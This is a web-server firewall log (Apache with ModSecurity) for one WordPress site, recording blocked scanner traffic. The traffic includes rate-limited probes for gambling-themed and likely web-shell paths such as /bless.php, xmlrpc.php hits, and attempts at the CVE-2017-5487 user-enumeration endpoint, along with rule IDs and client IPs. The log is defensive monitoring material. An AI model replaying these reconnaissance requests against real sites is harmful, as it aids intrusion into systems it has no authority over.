[Sat Apr 11 21:45:59.896304 2026] [:error] [pid 42313:tid 42324] [client 51.83.6.238:36638] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "adpQl12P8TxdbaN018IzFAAAAAg"]
[Sat Apr 11 21:46:01.785934 2026] [:error] [pid 42221:tid 42283] [client 51.83.6.238:36650] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "adpQmU2gt0pb_0-cc6mKDAAAAEU"]
[Sat Apr 11 21:46:03.818359 2026] [:error] [pid 42221:tid 42293] [client 51.83.6.238:36658] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "adpQm02gt0pb_0-cc6mKFAAAAE8"]
[Sat Apr 11 21:46:05.865941 2026] [:error] [pid 42313:tid 42330] [client 51.83.6.238:36672] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "adpQnV2P8TxdbaN018IzKQAAAA4"]
[Sat Apr 11 21:46:07.906157 2026] [:error] [pid 42220:tid 42251] [client 51.83.6.238:36684] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adpQn0z5c3Cs6a8B5QuFdQAAAMA"]
[Sat Apr 11 21:46:09.789965 2026] [:error] [pid 42221:tid 42292] [client 51.83.6.238:54772] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adpQoU2gt0pb_0-cc6mKHgAAAE4"]
[Sat Apr 11 21:46:11.825763 2026] [:error] [pid 42313:tid 42324] [client 51.83.6.238:54784] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adpQo12P8TxdbaN018IzOgAAAAg"]
[Sat Apr 11 21:46:13.717403 2026] [:error] [pid 42220:tid 42260] [client 51.83.6.238:54790] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adpQpUz5c3Cs6a8B5QuFggAAAMk"]
[Sat Apr 11 21:46:15.759535 2026] [:error] [pid 42313:tid 42337] [client 51.83.6.238:54802] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adpQp12P8TxdbaN018IzSQAAABU"]
[Sat Apr 11 21:46:17.639563 2026] [:error] [pid 42220:tid 42259] [client 51.83.6.238:54810] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adpQqUz5c3Cs6a8B5QuFiQAAAMg"]
[Sat Apr 11 21:46:19.667980 2026] [:error] [pid 42219:tid 42234] [client 51.83.6.238:50476] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adpQqw-4IkVbTQx_J-2DTQAAAIs"]
[Sat Apr 11 21:46:21.699350 2026] [:error] [pid 42221:tid 42289] [client 51.83.6.238:50484] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adpQrU2gt0pb_0-cc6mKKAAAAEs"]
[Sat Apr 11 21:46:23.757214 2026] [:error] [pid 42221:tid 42281] [client 51.83.6.238:50496] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adpQr02gt0pb_0-cc6mKKgAAAEM"]
[Sat Apr 11 21:46:25.795100 2026] [:error] [pid 42220:tid 42251] [client 51.83.6.238:50510] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adpQsUz5c3Cs6a8B5QuFmAAAAMA"]
[Sat Apr 11 21:46:27.816306 2026] [:error] [pid 42220:tid 42272] [client 51.83.6.238:50520] [client 51.83.6.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "adpQs0z5c3Cs6a8B5QuFmwAAANU"]
[Sun Apr 12 00:52:15.308813 2026] [:error] [pid 45064:tid 45092] [client 182.44.67.97:60056] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adp8P5cHBvLyJ6EUhUrfqAAAAUA"]
[Sun Apr 12 01:42:21.209736 2026] [:error] [pid 36938:tid 36949] [client 124.83.53.232:53061] [client 124.83.53.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.83.53.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adqH_YSWpa_VL1JPU6zhOwAAAYk"]
[Sun Apr 12 01:42:31.339728 2026] [:error] [pid 34152:tid 34157] [client 124.83.53.232:53689] [client 124.83.53.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.83.53.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adqIB4FtE4RhFslT1DrANAAAAAM"]
[Sun Apr 12 01:42:41.965322 2026] [:error] [pid 44701:tid 44791] [client 124.83.53.232:54192] [client 124.83.53.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.83.53.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adqIERGZAP4MrlxEPFc9-gAAAFA"]
[Sun Apr 12 01:42:52.725037 2026] [:error] [pid 36909:tid 36911] [client 124.83.53.232:54592] [client 124.83.53.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.83.53.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adqIHEGk5GhxTCzHUOoZ7gAAAQA"]
[Sun Apr 12 01:43:03.311673 2026] [:error] [pid 34152:tid 34171] [client 124.83.53.232:54993] [client 124.83.53.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.83.53.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adqIJ4FtE4RhFslT1DrAXgAAABE"]
[Sun Apr 12 01:58:02.555408 2026] [:error] [pid 44700:tid 44762] [client 209.38.77.153:56677] [client 209.38.77.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adqLqmryPgh_uW4QPCls0wAAANI"]
[Sun Apr 12 04:53:27.057483 2026] [:error] [pid 25437:tid 25452] [client 89.146.182.234:60619] [client 89.146.182.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.146.182.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adq0x3f97wYZje1ep_NEEAAAAM0"]
[Sun Apr 12 04:53:29.894475 2026] [:error] [pid 25437:tid 25456] [client 89.146.182.234:60639] [client 89.146.182.234] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adq0yXf97wYZje1ep_NEHgAAANE"]
[Sun Apr 12 04:53:39.539068 2026] [:error] [pid 25437:tid 25460] [client 89.146.182.234:60639] [client 89.146.182.234] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adq003f97wYZje1ep_NEOQAAANU"]
[Sun Apr 12 05:54:52.508822 2026] [:error] [pid 25437:tid 25451] [client 62.197.152.86:49054] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adrDLHf97wYZje1ep_NW-AAAAMw"]
[Sun Apr 12 05:54:53.117148 2026] [:error] [pid 25328:tid 25365] [client 62.197.152.86:49320] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adrDLcxUaQZxT-e0YsDoZgAAAEE"]
[Sun Apr 12 05:54:53.724141 2026] [:error] [pid 25329:tid 25381] [client 62.197.152.86:49536] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adrDLWdcIYsS8Iyaj101JAAAAIM"]
[Sun Apr 12 05:54:54.335879 2026] [:error] [pid 25328:tid 25396] [client 62.197.152.86:49790] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adrDLsxUaQZxT-e0YsDofQAAAFM"]
[Sun Apr 12 05:54:54.963052 2026] [:error] [pid 60280:tid 60298] [client 62.197.152.86:50026] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adrDLnBlLnDOYuIykkjsxQAAAdA"]
[Sun Apr 12 05:54:55.573291 2026] [:error] [pid 60280:tid 60297] [client 62.197.152.86:50238] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/"] [unique_id "adrDL3BlLnDOYuIykkjs1AAAAc8"]
[Sun Apr 12 05:54:56.182318 2026] [:error] [pid 25437:tid 25456] [client 62.197.152.86:50432] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/"] [unique_id "adrDMHf97wYZje1ep_NXEQAAANE"]
[Sun Apr 12 05:54:56.814128 2026] [:error] [pid 25437:tid 25451] [client 62.197.152.86:50700] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/"] [unique_id "adrDMHf97wYZje1ep_NXIwAAAMw"]
[Sun Apr 12 05:54:57.426108 2026] [:error] [pid 25329:tid 25390] [client 62.197.152.86:50942] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/"] [unique_id "adrDMWdcIYsS8Iyaj101VwAAAIg"]
[Sun Apr 12 05:54:58.033300 2026] [:error] [pid 25328:tid 25379] [client 62.197.152.86:51144] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/update/"] [unique_id "adrDMsxUaQZxT-e0YsDorgAAAEs"]
[Sun Apr 12 06:02:26.841947 2026] [:error] [pid 25329:tid 25399] [client 78.109.76.156:54916] [client 78.109.76.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.76.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adrE8mdcIYsS8Iyaj103IQAAAI0"]
[Sun Apr 12 06:02:37.092602 2026] [:error] [pid 26567:tid 26572] [client 78.109.76.156:44916] [client 78.109.76.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.76.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adrE_XhRpg6ptWFyFx0FVgAAAQM"]
[Sun Apr 12 06:02:47.438036 2026] [:error] [pid 25437:tid 25459] [client 78.109.76.156:29238] [client 78.109.76.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.76.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adrFB3f97wYZje1ep_NZ9AAAANQ"]
[Sun Apr 12 06:02:58.726649 2026] [:error] [pid 26600:tid 26644] [client 78.109.76.156:29290] [client 78.109.76.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.76.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adrFEu1YwAZiXhQKLYp-mAAAAY8"]
[Sun Apr 12 06:03:08.656653 2026] [:error] [pid 25328:tid 25368] [client 78.109.76.156:29350] [client 78.109.76.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.76.156, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adrFHMxUaQZxT-e0YsDtEQAAAEQ"]
[Sun Apr 12 06:43:03.153943 2026] [:error] [pid 25329:tid 25411] [client 145.239.65.133:36160] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adrOd2dcIYsS8Iyaj11CwQAAAJQ"]
[Sun Apr 12 06:43:04.985419 2026] [:error] [pid 25328:tid 25408] [client 145.239.65.133:59858] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adrOeMxUaQZxT-e0YsD7kQAAAFg"]
[Sun Apr 12 06:43:07.036969 2026] [:error] [pid 26599:tid 26615] [client 145.239.65.133:55054] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adrOe3G89LXoQbk_rwBOcwAAAU0"]
[Sun Apr 12 06:43:09.112618 2026] [:error] [pid 25437:tid 25460] [client 145.239.65.133:55070] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adrOfXf97wYZje1ep_NsjAAAANU"]
[Sun Apr 12 06:43:11.142931 2026] [:error] [pid 25328:tid 25389] [client 145.239.65.133:55076] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adrOf8xUaQZxT-e0YsD7mwAAAFA"]
[Sun Apr 12 06:43:13.042763 2026] [:error] [pid 25437:tid 25440] [client 145.239.65.133:55080] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adrOgXf97wYZje1ep_NskwAAAME"]
[Sun Apr 12 06:43:14.939249 2026] [:error] [pid 26567:tid 26583] [client 145.239.65.133:55084] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adrOgnhRpg6ptWFyFx0TJwAAAQ4"]
[Sun Apr 12 06:43:16.842559 2026] [:error] [pid 25328:tid 25380] [client 145.239.65.133:55348] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adrOhMxUaQZxT-e0YsD7sgAAAEw"]
[Sun Apr 12 06:43:18.742745 2026] [:error] [pid 26567:tid 26576] [client 145.239.65.133:55354] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "adrOhnhRpg6ptWFyFx0TLQAAAQc"]
[Sun Apr 12 06:43:20.783164 2026] [:error] [pid 26599:tid 26615] [client 145.239.65.133:55366] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adrOiHG89LXoQbk_rwBOggAAAU0"]
[Sun Apr 12 06:43:22.677322 2026] [:error] [pid 25437:tid 25456] [client 145.239.65.133:55378] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adrOinf97wYZje1ep_NsoQAAANE"]
[Sun Apr 12 06:43:24.580475 2026] [:error] [pid 26567:tid 26587] [client 145.239.65.133:55384] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adrOjHhRpg6ptWFyFx0TNwAAARI"]
[Sun Apr 12 06:43:26.617513 2026] [:error] [pid 25437:tid 25461] [client 145.239.65.133:49782] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adrOjnf97wYZje1ep_NsrQAAANY"]
[Sun Apr 12 06:43:28.691245 2026] [:error] [pid 26567:tid 26574] [client 145.239.65.133:49788] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adrOkHhRpg6ptWFyFx0TPAAAAQU"]
[Sun Apr 12 06:43:30.429623 2026] [:error] [pid 60280:tid 60305] [client 145.239.65.133:49792] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adrOknBlLnDOYuIykkj-cQAAAdc"]
